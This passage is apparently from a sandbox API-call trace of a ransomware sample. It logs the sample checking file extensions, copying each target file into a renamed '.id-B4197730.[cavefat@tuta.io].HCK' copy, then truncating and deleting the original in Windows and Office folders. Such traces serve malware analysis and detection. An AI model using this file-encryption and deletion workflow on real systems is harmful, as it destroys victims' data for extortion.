(lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".doc") returned 4 [0149.275] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString=".docx") returned 5 [0149.275] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0149.275] lstrlenW (lpString=".pdf") returned 4 [0149.275] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString=".xls") returned 4 [0149.275] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0149.275] lstrlenW (lpString=".xlsx") returned 5 [0149.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0149.275] lstrlenW (lpString=".ppt") returned 4 [0149.275] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0149.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.275] lstrlenW (lpString=".zip") returned 4 [0149.276] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0149.276] lstrlenW (lpString=".rar") returned 4 [0149.276] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0149.276] lstrlenW (lpString=".bz2") returned 4 [0149.276] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0149.276] lstrlenW (lpString=".7z") returned 3 [0149.276] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0149.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.276] lstrlenW (lpString=".dbf") returned 4 [0149.276] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0149.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.276] lstrlenW (lpString=".1cd") returned 4 [0149.276] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0149.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0149.276] lstrlenW (lpString=".jpg") returned 4 [0149.276] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0149.276] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.276] lstrlenW (lpString="LocalizedData.xml") returned 17 [0149.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.590] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=80254) returned 1 [0149.590] CloseHandle (hObject=0x330) returned 1 [0149.590] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0149.590] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.591] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.591] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.982] GetLastError () returned 0x0 [0149.982] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0149.986] WriteFile (in: hFile=0x37c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x13980, lpOverlapped=0x0) returned 1 [0149.988] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.988] WriteFile (in: hFile=0x37c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.988] SetEndOfFile (hFile=0x37c) returned 1 [0149.989] CloseHandle (hObject=0x37c) returned 1 [0149.991] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.991] SetEndOfFile (hFile=0x330) returned 1 [0149.992] CloseHandle (hObject=0x330) returned 1 [0149.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.993] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString=".doc") returned 4 [0149.993] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString=".docx") returned 5 [0149.993] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.993] lstrlenW (lpString=".pdf") returned 4 [0149.993] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString=".xls") returned 4 [0149.993] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString=".xlsx") returned 5 [0149.993] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.993] lstrlenW (lpString=".ppt") returned 4 [0149.993] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString=".zip") returned 4 [0149.993] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.993] lstrlenW (lpString=".rar") returned 4 [0149.993] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString=".bz2") returned 4 [0149.993] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString=".7z") returned 3 [0149.993] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString=".dbf") returned 4 [0149.993] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString=".1cd") returned 4 [0149.993] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.993] lstrlenW (lpString=".jpg") returned 4 [0149.993] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString=".doc") returned 4 [0149.994] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString=".docx") returned 5 [0149.994] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.994] lstrlenW (lpString=".pdf") returned 4 [0149.994] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString=".xls") returned 4 [0149.994] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString=".xlsx") returned 5 [0149.994] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0149.994] lstrlenW (lpString=".ppt") returned 4 [0149.994] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString=".zip") returned 4 [0149.994] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.994] lstrlenW (lpString=".rar") returned 4 [0149.994] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString=".bz2") returned 4 [0149.994] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString=".7z") returned 3 [0149.994] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString=".dbf") returned 4 [0149.994] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString=".1cd") returned 4 [0149.994] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0149.994] lstrlenW (lpString=".jpg") returned 4 [0149.994] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.994] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.994] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0149.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.995] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4450) returned 1 [0149.995] CloseHandle (hObject=0x330) returned 1 [0149.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0149.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0149.995] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.995] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.996] GetLastError () returned 0x0 [0149.996] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1162, lpOverlapped=0x0) returned 1 [0149.997] WriteFile (in: hFile=0x37c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1170, lpOverlapped=0x0) returned 1 [0149.998] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.998] WriteFile (in: hFile=0x37c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x108, lpOverlapped=0x0) returned 1 [0149.998] SetEndOfFile (hFile=0x37c) returned 1 [0149.998] CloseHandle (hObject=0x37c) returned 1 [0149.999] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.999] SetEndOfFile (hFile=0x330) returned 1 [0150.000] CloseHandle (hObject=0x330) returned 1 [0150.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0150.000] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".doc") returned 4 [0150.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".docx") returned 5 [0150.001] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0150.001] lstrlenW (lpString=".pdf") returned 4 [0150.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".xls") returned 4 [0150.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".xlsx") returned 5 [0150.001] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0150.001] lstrlenW (lpString=".ppt") returned 4 [0150.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".zip") returned 4 [0150.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.001] lstrlenW (lpString=".rar") returned 4 [0150.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".bz2") returned 4 [0150.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".7z") returned 3 [0150.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".dbf") returned 4 [0150.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".1cd") returned 4 [0150.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".jpg") returned 4 [0150.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.001] lstrlenW (lpString=".doc") returned 4 [0150.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.001] lstrlenW (lpString=".docx") returned 5 [0150.001] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0150.001] lstrlenW (lpString=".pdf") returned 4 [0150.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString=".xls") returned 4 [0150.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString=".xlsx") returned 5 [0150.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0150.002] lstrlenW (lpString=".ppt") returned 4 [0150.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.002] lstrlenW (lpString=".zip") returned 4 [0150.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.002] lstrlenW (lpString=".rar") returned 4 [0150.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString=".bz2") returned 4 [0150.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString=".7z") returned 3 [0150.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.002] lstrlenW (lpString=".dbf") returned 4 [0150.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.002] lstrlenW (lpString=".1cd") returned 4 [0150.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0150.002] lstrlenW (lpString=".jpg") returned 4 [0150.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.002] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0150.002] lstrlenW (lpString="Alphabet.xml") returned 12 [0150.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.269] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=791421) returned 1 [0150.269] CloseHandle (hObject=0x2f4) returned 1 [0150.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0150.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.278] lstrlenW (lpString=".doc") returned 4 [0150.278] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.278] lstrlenW (lpString=".docx") returned 5 [0150.278] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0150.278] lstrlenW (lpString=".pdf") returned 4 [0150.278] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.278] lstrlenW (lpString=".xls") returned 4 [0150.278] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.278] lstrlenW (lpString=".xlsx") returned 5 [0150.278] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0150.278] lstrlenW (lpString=".ppt") returned 4 [0150.282] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.282] lstrlenW (lpString=".zip") returned 4 [0150.282] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.282] lstrlenW (lpString=".rar") returned 4 [0150.289] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.289] lstrlenW (lpString=".bz2") returned 4 [0150.289] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.289] lstrlenW (lpString=".7z") returned 3 [0150.289] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.289] lstrlenW (lpString=".dbf") returned 4 [0150.289] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.289] lstrlenW (lpString=".1cd") returned 4 [0150.289] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.289] lstrlenW (lpString=".jpg") returned 4 [0150.289] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString=".doc") returned 4 [0150.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString=".docx") returned 5 [0150.290] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0150.290] lstrlenW (lpString=".pdf") returned 4 [0150.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString=".xls") returned 4 [0150.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString=".xlsx") returned 5 [0150.290] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0150.290] lstrlenW (lpString=".ppt") returned 4 [0150.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString=".zip") returned 4 [0150.290] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.290] lstrlenW (lpString=".rar") returned 4 [0150.290] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString=".bz2") returned 4 [0150.290] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString=".7z") returned 3 [0150.290] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString=".dbf") returned 4 [0150.290] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString=".1cd") returned 4 [0150.290] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0150.290] lstrlenW (lpString=".jpg") returned 4 [0150.290] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.290] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0150.290] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0150.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.291] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=46624) returned 1 [0150.291] CloseHandle (hObject=0x2f4) returned 1 [0150.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0150.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".doc") returned 4 [0150.292] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".docx") returned 5 [0150.292] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.292] lstrlenW (lpString=".pdf") returned 4 [0150.292] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".xls") returned 4 [0150.292] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".xlsx") returned 5 [0150.292] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.292] lstrlenW 